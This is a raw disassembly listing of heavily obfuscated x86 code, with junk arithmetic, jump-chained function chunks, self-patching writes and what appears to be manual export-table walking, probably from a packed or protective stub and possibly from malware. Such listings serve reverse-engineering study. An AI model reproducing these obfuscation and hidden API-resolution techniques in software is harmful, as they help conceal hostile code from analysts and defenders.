--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_423C02: ; CODE XREF: sub_424819-7F2j test ebx, 2000h jmp loc_426B97 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423C0D: ; CODE XREF: sub_4262C5+1D80j jz loc_423551 sbb ecx, edx jmp loc_4264E3 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D99 loc_423C1A: ; CODE XREF: sub_424D99:loc_424003j jl loc_423EFA sub ecx, edx push 0AEFB675Bh xchg ecx, [esi] jmp loc_423EF4 ; END OF FUNCTION CHUNK FOR sub_424D99 ; --------------------------------------------------------------------------- test edx, 0DE971895h jmp loc_428351 ; --------------------------------------------------------------------------- loc_423C39: ; CODE XREF: hjohnhn9:00424467j test ebp, 3E5EE592h jmp loc_427480 ; --------------------------------------------------------------------------- loc_423C44: ; DATA XREF: sub_428E65+7o jz loc_427EAB mov eax, ds:dword_423940 mov eax, [eax] call sub_4235D8 ; START OF FUNCTION CHUNK FOR sub_42677F loc_423C56: ; CODE XREF: sub_42677F+Aj jmp loc_427F33 ; END OF FUNCTION CHUNK FOR sub_42677F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423C5B: ; CODE XREF: sub_423B05-4B5j jo loc_423659 jnb loc_4267FC loc_423C67: ; CODE XREF: sub_423B05:loc_42862Bj push 7A23220Ah pop eax jmp loc_4275E9 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- loc_423C72: ; CODE XREF: hjohnhn9:loc_428621j mov eax, [ebp-20h] mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] push offset sub_426F5A jmp loc_428ECB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284CB loc_423C85: ; CODE XREF: sub_4284CB:loc_42655Cj cmp byte ptr [eax], 0EBh call sub_4231AD loc_423C8D: ; DATA XREF: sub_424161-294o mov [ebp-20h], eax ; END OF FUNCTION CHUNK FOR sub_4284CB ; START OF FUNCTION CHUNK FOR sub_424161 loc_423C90: ; CODE XREF: sub_424161+Ej ; sub_426C1C+Dj ... mov eax, [ebp-20h] sub eax, [ebp-28h] mov [ebp-24h], eax mov eax, [ebp-24h] jmp loc_426E7A ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_423CA1: ; CODE XREF: sub_4260BD-172Cj push 78C9D3B0h pop ebx or ebx, 49478D09h xor ebx, 2FC1EEDBh sub ebx, 898416F6h cmp ebx, 0DEADBCE0h jmp loc_42409B ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_423CC4: ; CODE XREF: sub_424161:loc_426E7Aj mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423D67 loc_423CC8: ; CODE XREF: sub_423D67+1Bj jmp loc_4236E4 ; END OF FUNCTION CHUNK FOR sub_423D67 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CCD proc near ; CODE XREF: sub_426C1C+4p ; sub_424161+446Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004271DA SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00427272 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00427B92 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax jmp loc_427B92 sub_423CCD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_423CDB proc near ; CODE XREF: hjohnhn9:00426B74j ; sub_4289B2:loc_4289BBp ; FUNCTION CHUNK AT 0042407B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00424BB4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424CA5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425076 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425EFB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426268 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00426762 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004267F1 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00426B13 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426B1F SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00426D2F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00427449 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427B9C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004283F7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042869B SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00428851 SIZE 00000020 BYTES xchg eax, [esp+0] pop eax mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jmp loc_4267F1 sub_423CDB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423E64 loc_423CF0: ; CODE XREF: sub_423E64+12j jnz loc_4239A6 jmp loc_4272D3 ; END OF FUNCTION CHUNK FOR sub_423E64 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423CFC: ; CODE XREF: hjohnhn9:0042307Cj ; hjohnhn9:00424277j xor ebx, ecx and ebx, 0B4897EE5h xchg edx, [ecx] ; START OF FUNCTION CHUNK FOR sub_427564 loc_423D06: ; CODE XREF: sub_427564-3AC0j ; hjohnhn9:loc_42426Bj xor ecx, 36F2DCB7h jmp loc_42901D ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42841F loc_423D11: ; CODE XREF: sub_42841F+12j jz loc_42658E jmp loc_423810 ; END OF FUNCTION CHUNK FOR sub_42841F ; =============== S U B R O U T I N E ======================================= sub_423D1C proc near ; DATA XREF: hjohnhn9:0042427Co ; FUNCTION CHUNK AT 0042415E SIZE 00000003 BYTES push eax ror eax, 1Ah push edi call sub_426211 and edi, 9193273h jmp loc_42415E sub_423D1C endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423D33: ; CODE XREF: hjohnhn9:00426263j jmp loc_426D32 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD "+" TO EXPAND] db 31h, 1, 0 dd 264E800h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_423D42: ; CODE XREF: sub_4279C0+3j jmp loc_4249CC ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_423D47: ; CODE XREF: sub_426A78+10B8j jz loc_425F1B adc eax, ebp jmp loc_425F15 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_423D54: ; CODE XREF: sub_4278DC:loc_424C01j adc ebx, 6A4E96E7h js loc_427A24 xor esi, edi jmp loc_427B35 ; END OF FUNCTION CHUNK FOR sub_4278DC ; =============== S U B R O U T I N E ======================================= sub_423D67 proc near ; DATA XREF: hjohnhn9:00429046o var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423201 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004236E4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00423CC8 SIZE 00000005 BYTES push edi push 1FC6F0D5h xchg ebp, [esp+0] mov edi, ebp pop ebp xor edi, 0C19381B4h loc_423D79: ; CODE XREF: hjohnhn9:loc_426CF5j rol edi, 1Eh loc_423D7C: ; CODE XREF: hjohnhn9:loc_424EC3j and edi, 12212D66h jmp loc_423CC8 sub_423D67 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_423D87: ; DATA XREF: sub_423B05+3F49o mov [ebp-4], eax push 5076CEAEh pop eax add eax, 982C40ADh sub eax, 33BDC7FFh jmp loc_4274A4 ; --------------------------------------------------------------------------- test edx, ecx jmp loc_428A5B ; --------------------------------------------------------------------------- loc_423DA8: ; DATA XREF: sub_4237F4+1461o mov [ebp-0Ch], eax cmp dword ptr [ebp-10h], 0 loc_423DAF: ; CODE XREF: hjohnhn9:00423A45j jnz loc_424F28 cmp dword ptr [ebp-0Ch], 5 jnz loc_424F28 mov eax, [ebp+8] call sub_424F20 shr ecx, 9 jmp loc_425C93 ; --------------------------------------------------------------------------- loc_423DCF: ; CODE XREF: hjohnhn9:0042508Cj lea eax, nullsub_1 mov byte ptr [eax], 0C3h push ecx push 0D50AC7F6h pop ecx xor ecx, 0E03A3CE0h add ecx, 0BA522053h cmp ecx, 75766663h jmp loc_42426B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_423DF6: ; CODE XREF: sub_42325E+8EDj xchg edi, [esp+0] ror eax, 11h call sub_42636C loc_423E01: ; CODE XREF: hjohnhn9:00428059j jmp loc_428372 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- word_423E06 dw 0E0C1h ; DATA XREF: sub_42304F+1D40o dd 0EC558B02h, 31C528Bh, 0A5E9FC55h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428E98 loc_423E17: ; CODE XREF: sub_428E98+Dj jbe loc_426E02 ja loc_42707F xor esi, edi ; END OF FUNCTION CHUNK FOR sub_428E98 ; START OF FUNCTION CHUNK FOR sub_428CC9 loc_423E25: ; CODE XREF: sub_428CC9:loc_4288C9j push 3C38EEE8h pop eax jmp loc_425B86 ; END OF FUNCTION CHUNK FOR sub_428CC9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E54 loc_423E31: ; CODE XREF: sub_427E54-3D20j jmp loc_428EE5 ; END OF FUNCTION CHUNK FOR sub_427E54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_423E36: ; CODE XREF: sub_42325E+511Dj add eax, 5343FABBh sub eax, 544AEFF2h xor eax, 0B530F9FEh add eax, 3B007B8Dh mov eax, [eax] or eax, eax jnz loc_423283 jmp loc_4276F7 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- cmp esi, ebx jmp loc_4266BE ; =============== S U B R O U T I N E ======================================= sub_423E64 proc near ; CODE XREF: sub_4251EB-1F0Bp ; hjohnhn9:00425FF9j ; FUNCTION CHUNK AT 004239A2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00423CF0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004272D3 SIZE 00000007 BYTES xchg ebx, [esp+0] pop ebx add eax, 0FF7FCF00h or eax, eax jz loc_4239D3 jmp loc_423CF0 sub_423E64 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EEA loc_423E7B: ; CODE XREF: sub_425EEA+Bj call sub_425E49 loc_423E80: ; CODE XREF: sub_424631:loc_428567j mov eax, [ebp+8] push offset loc_424996 jmp nullsub_15 ; END OF FUNCTION CHUNK FOR sub_425EEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_423E8D: ; CODE XREF: sub_426F5A+3E6j or esi, edx loc_423E8F: ; CODE XREF: hjohnhn9:loc_427160j add edx, 0A2D9B284h xor ebx, 802191BEh loc_423E9B: ; CODE XREF: sub_426F5A:loc_42513Cj call sub_424877 mov edx, 0F2B89A19h call sub_4279ED jmp loc_42365D ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ror edx, 14h jmp sub_427B51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4249E1 loc_423EB7: ; CODE XREF: sub_4249E1+Cj mov eax, [ebp-14h] push eax push esi call sub_427345 ; END OF FUNCTION CHUNK FOR sub_4249E1 ; START OF FUNCTION CHUNK FOR sub_426CE6 loc_423EC1: ; CODE XREF: sub_426CE6+Aj jmp loc_4283E0 ; END OF FUNCTION CHUNK FOR sub_426CE6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_423EC7: ; CODE XREF: sub_424819+46C0j jmp loc_42488B ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_423ECC: ; CODE XREF: sub_424161:loc_424F86j pop ecx push offset loc_423C8D jmp loc_4288F8 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423ED7: ; CODE XREF: sub_424631:loc_426E35j shl eax, 3 mov edx, [ebp+8] jmp loc_425164 ; --------------------------------------------------------------------------- loc_423EE2: ; CODE XREF: sub_424631:loc_426619j cmp dword ptr [ebp-10h], 0 jnz loc_42516C mov eax, [ebp+8] jmp loc_42729D ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D99 loc_423EF4: ; CODE XREF: sub_424D99-1170j jno loc_424EEC loc_423EFA: ; CODE XREF: sub_424D99:loc_423C1Aj xor ebx, 7AD55981h add ebx, 0DC898EAh call sub_428945 ; END OF FUNCTION CHUNK FOR sub_424D99 ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423F0B: ; CODE XREF: sub_4262C5-2A16j jmp loc_423B1F ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A58 loc_423F10: ; CODE XREF: sub_427A58+Cj call sub_42774F loc_423F15: ; CODE XREF: sub_427E85:loc_426E75j push eax call sub_427A36 call sub_4278B9 locret_423F20: ; CODE XREF: hjohnhn9:loc_425D6Aj retn ; END OF FUNCTION CHUNK FOR sub_427A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_423F21: ; CODE XREF: sub_425BD2:loc_424517j not esi jnb loc_426EFE js loc_425E20 ror ebp, 17h jge loc_4263A0 jmp loc_427951 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423F3D: ; CODE XREF: hjohnhn9:0042499Dj ; sub_427D9D-18D3j ... mov eax, [ebp-4] call sub_424B30 loc_423F45: ; CODE XREF: sub_4238CC+2748j push 517EEA18h pop eax add eax, 86BC7F46h rol eax, 1Fh add eax, 0B296A58h xor eax, 770F05C3h jmp loc_427970 ; END OF FUNCTION CHUNK FOR sub_424631 ; =============== S U B R O U T I N E ======================================= sub_423F65 proc near ; DATA XREF: sub_42304F:loc_428AA2o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424A92 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424F8B SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00425220 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004252A4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426C64 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427550 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004275EE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428287 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00428BF7 SIZE 00000010 BYTES call sub_424A28 test al, al jz loc_425220 jmp loc_4275EE sub_423F65 endp ; =============== S U B R O U T I N E ======================================= sub_423F77 proc near ; CODE XREF: sub_424698+1p ; hjohnhn9:00426A6Bj ; FUNCTION CHUNK AT 00423F91 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426B0E SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov ebp, esp add esp, 0FFFFFFECh jmp loc_426B0E sub_423F77 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_423F86: ; CODE XREF: sub_424161+2B2Fj adc edx, 0AEB1EF27h jmp sub_423B84 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F77 loc_423F91: ; CODE XREF: sub_423F77:loc_426B0Ej push offset loc_425257 jmp nullsub_22 ; END OF FUNCTION CHUNK FOR sub_423F77 ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- mov ch, [edi] add es:[eax], al jmp sub_425D27 ; --------------------------------------------------------------------------- loc_423FA6: ; CODE XREF: hjohnhn9:00428FC7j xchg esi, [esp] pop esi call sub_424AE3 jmp loc_4231DA ; --------------------------------------------------------------------------- jmp locret_424ADD ; =============== S U B R O U T I N E ======================================= sub_423FB9 proc near ; CODE XREF: hjohnhn9:00425C78j ; sub_423444:loc_4270EEj ... ; FUNCTION CHUNK AT 004234D3 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx add eax, 4622B2B0h push offset loc_428B71 jmp loc_4234D3 sub_423FB9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_423FCD: ; CODE XREF: sub_426671-351j and ebp, 0D2F88BF4h loc_423FD3: ; CODE XREF: sub_426671:loc_427895j call sub_424877 push 2F846F14h pop edx add edx, 0ADE8F686h jmp loc_42316A ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_423FE9: ; CODE XREF: sub_424A78:loc_4242DEj push 74F9BCB9h pop esi sub esi, 0A4C08EC8h xor esi, 7E616109h add eax, esi jmp loc_427984 ; END OF FUNCTION CHUNK FOR sub_424A78 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D99 loc_424003: ; CODE XREF: sub_424D99+12j jmp loc_423C1A ; END OF FUNCTION CHUNK FOR sub_424D99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_424008: ; CODE XREF: sub_42466E-AB0j jz loc_427947 jmp loc_424542 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_424013: ; CODE XREF: sub_424819:loc_4282C4j xchg esi, [esp+0] push 8B98A8E8h xchg esi, [esp+4+var_4] mov ebx, esi pop esi and ebx, 0F5022639h jmp loc_423C02 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42402C: ; CODE XREF: sub_42466E-121j jnz loc_42857C cdq loc_424033: ; CODE XREF: sub_42466E:loc_423BB8j push edx push 0E7131BE6h jmp loc_427BEE ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_42403E: ; CODE XREF: sub_4265CD-1E7Bj ; hjohnhn9:004261FBj popf jno loc_42888D loc_424045: ; CODE XREF: sub_4265CD-1E89j sub eax, 74CBAB60h or eax, 724E4ED9h jmp loc_427A9C ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- loc_424056: ; DATA XREF: sub_423F65+4C98o add eax, 0D7B18CA1h ; START OF FUNCTION CHUNK FOR sub_424161 loc_42405C: ; CODE XREF: sub_424161:loc_4271FDj xchg eax, [esp+0] jmp loc_424521 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_424064: ; CODE XREF: sub_427852:loc_42823Fj mov eax, [eax+24h] loc_424067: ; CODE XREF: sub_42363F+3E5Aj add eax, [ebp-4] xor edx, edx push edx push eax jmp loc_4242E8 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_424073: ; CODE XREF: sub_428271-16EDj add eax, [esp+0] jmp loc_42350B ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_42407B: ; CODE XREF: sub_423CDB:loc_427449j shr edx, 5 sbb ecx, 0CB4525A9h jmp loc_427B9C ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- loc_424089: ; CODE XREF: hjohnhn9:00423490j push offset loc_423302 jmp locret_428297 ; --------------------------------------------------------------------------- shl edx, 4 jmp sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42409B: ; CODE XREF: sub_4260BD-23FEj jl loc_42833C mov esi, eax jns loc_4234D3 jmp loc_428337 ; END OF FUNCTION CHUNK FOR sub_4260BD ; =============== S U B R O U T I N E ======================================= sub_4240AE proc near ; DATA XREF: sub_427345-3DBEo var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00426DBA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042769B SIZE 0000001A BYTES mov eax, [ebp-4] push edx mov edx, eax xchg edx, [esp+4+var_4] jmp loc_426DBA sub_4240AE endp ; =============== S U B R O U T I N E ======================================= sub_4240BC proc near ; CODE XREF: sub_428357-508Cp ; hjohnhn9:00428E34j ; FUNCTION CHUNK AT 004234AC SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov eax, [ebp-8] loc_4240C3: ; CODE XREF: hjohnhn9:00426ACCj shl eax, 0Fh add [ebp-8], eax mov eax, [ebp-8] mov esp, ebp pop ebp jmp loc_4234AC sub_4240BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_4240D4: ; CODE XREF: sub_425CB3:loc_4232E6j xchg ecx, [esp+0] push 0 call sub_4270CF push eax mov eax, esp jmp loc_4244B2 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; =============== S U B R O U T I N E ======================================= sub_4240E6 proc near ; CODE XREF: hjohnhn9:0042430Ap ; hjohnhn9:00426CFDj ; FUNCTION CHUNK AT 0042744E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428AFF SIZE 00000005 BYTES xchg edx, [esp+0] pop edx cmp ds:dword_426E3C, 0 jnz loc_427FBF lea edx, [ebp-14h] jmp loc_428AFF sub_4240E6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4240FF: ; CODE XREF: hjohnhn9:00428ADEj jo loc_428F8E add edi, eax jmp loc_42476D ; --------------------------------------------------------------------------- loc_42410C: ; CODE XREF: hjohnhn9:00423478j add eax, 28h mov [ebp-4], eax jmp loc_4266B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269BD loc_424117: ; CODE XREF: sub_4269BD+17j mov eax, [ebp-20h] movzx eax, byte ptr [eax] push offset loc_427C74 jmp loc_4266AB ; END OF FUNCTION CHUNK FOR sub_4269BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E54 loc_424127: ; CODE XREF: sub_427E54+11j mov edx, [ebp-14h] mov edx, [edx+1Ch] add edx, [ebp-4] add eax, edx mov eax, [eax] jmp loc_423E31 ; END OF FUNCTION CHUNK FOR sub_427E54 ; --------------------------------------------------------------------------- js loc_427FB5 push ecx jmp sub_427345 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_424145: ; CODE XREF: sub_42345B+544Dj add ecx, 0E02DF608h xchg ecx, [esp+4+var_4] jmp loc_426B55 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_424153: ; CODE XREF: sub_424698-D92j jz loc_4261D5 jmp loc_4241A5 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423D1C loc_42415E: ; CODE XREF: sub_423D1C+10j ror edi, 1Ch ; END OF FUNCTION CHUNK FOR sub_423D1C ; =============== S U B R O U T I N E ======================================= sub_424161 proc near ; CODE XREF: sub_424A78:loc_4242D9p var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042312B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004231F0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004234B1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00423B50 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00423C90 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00423CC4 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00423ECC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423F86 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042405C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00424521 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042457E SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00424D68 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424F86 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004251B2 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00425BB8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426054 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00426655 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426C7F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00426E7A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004271FD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004279DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427BE6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004284ED SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004285C1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004288F8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429022 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jno loc_4285C1 test byte ptr [ebp-8], 40h jz loc_423C90 push ebp jmp loc_427BE6 sub_424161 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42417B: ; CODE XREF: hjohnhn9:00426736j jns loc_426C3C ; =============== S U B R O U T I N E ======================================= sub_424181 proc near ; CODE XREF: sub_426098+Cp ; FUNCTION CHUNK AT 004283C4 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov [ebp-4], eax jmp loc_4283C4 sub_424181 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E85 loc_42418D: ; CODE XREF: sub_427E85+10j push eax call sub_427A36 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz loc_423415 call sub_4242A0 ; END OF FUNCTION CHUNK FOR sub_427E85 ; START OF FUNCTION CHUNK FOR sub_424698 loc_4241A5: ; CODE XREF: sub_424698-53Fj jmp loc_428BE8 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- loc_4241AA: ; CODE XREF: hjohnhn9:00426E2Fj push 87A17FD1h pop esi xor esi, 8FC8532Bh rol esi, 13h jmp loc_428B6C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_4241BE: ; CODE XREF: sub_423BC3:loc_425F6Ej mov eax, edi pop edi and eax, 986F907Ch test eax, 10h jmp loc_427A7E ; END OF FUNCTION CHUNK FOR sub_423BC3 ; =============== S U B R O U T I N E ======================================= sub_4241D2 proc near ; CODE XREF: sub_427B51+17j ; FUNCTION CHUNK AT 004242D6 SIZE 00000003 BYTES push ebp mov eax, [ebp-20h] call sub_428162 loc_4241DB: ; CODE XREF: sub_427FCE+Aj jmp loc_4242D6 sub_4241D2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4241E0: ; CODE XREF: hjohnhn9:004242FBj push ebp ; =============== S U B R O U T I N E ======================================= sub_4241E1 proc near ; CODE XREF: sub_425D47+9p ; FUNCTION CHUNK AT 0042310F SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add [ebp-8], eax push offset sub_423921 jmp loc_42310F sub_4241E1 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4241F3 proc near ; CODE XREF: sub_4244F5+18p ; hjohnhn9:00428299j xchg esi, [esp+0] pop esi add eax, [ebp-4] call sub_427F90 cmp eax, [ebp-8] call sub_4290CF locret_424207: ; CODE XREF: sub_42859A-D0Aj retn sub_4241F3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_424208: ; CODE XREF: sub_427C9B+79j jmp loc_428E0C ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_42420D proc near ; DATA XREF: sub_42325E+5CC4o pop esi mov word ptr [eax], 205Dh call sub_424335 sub_42420D endp ; 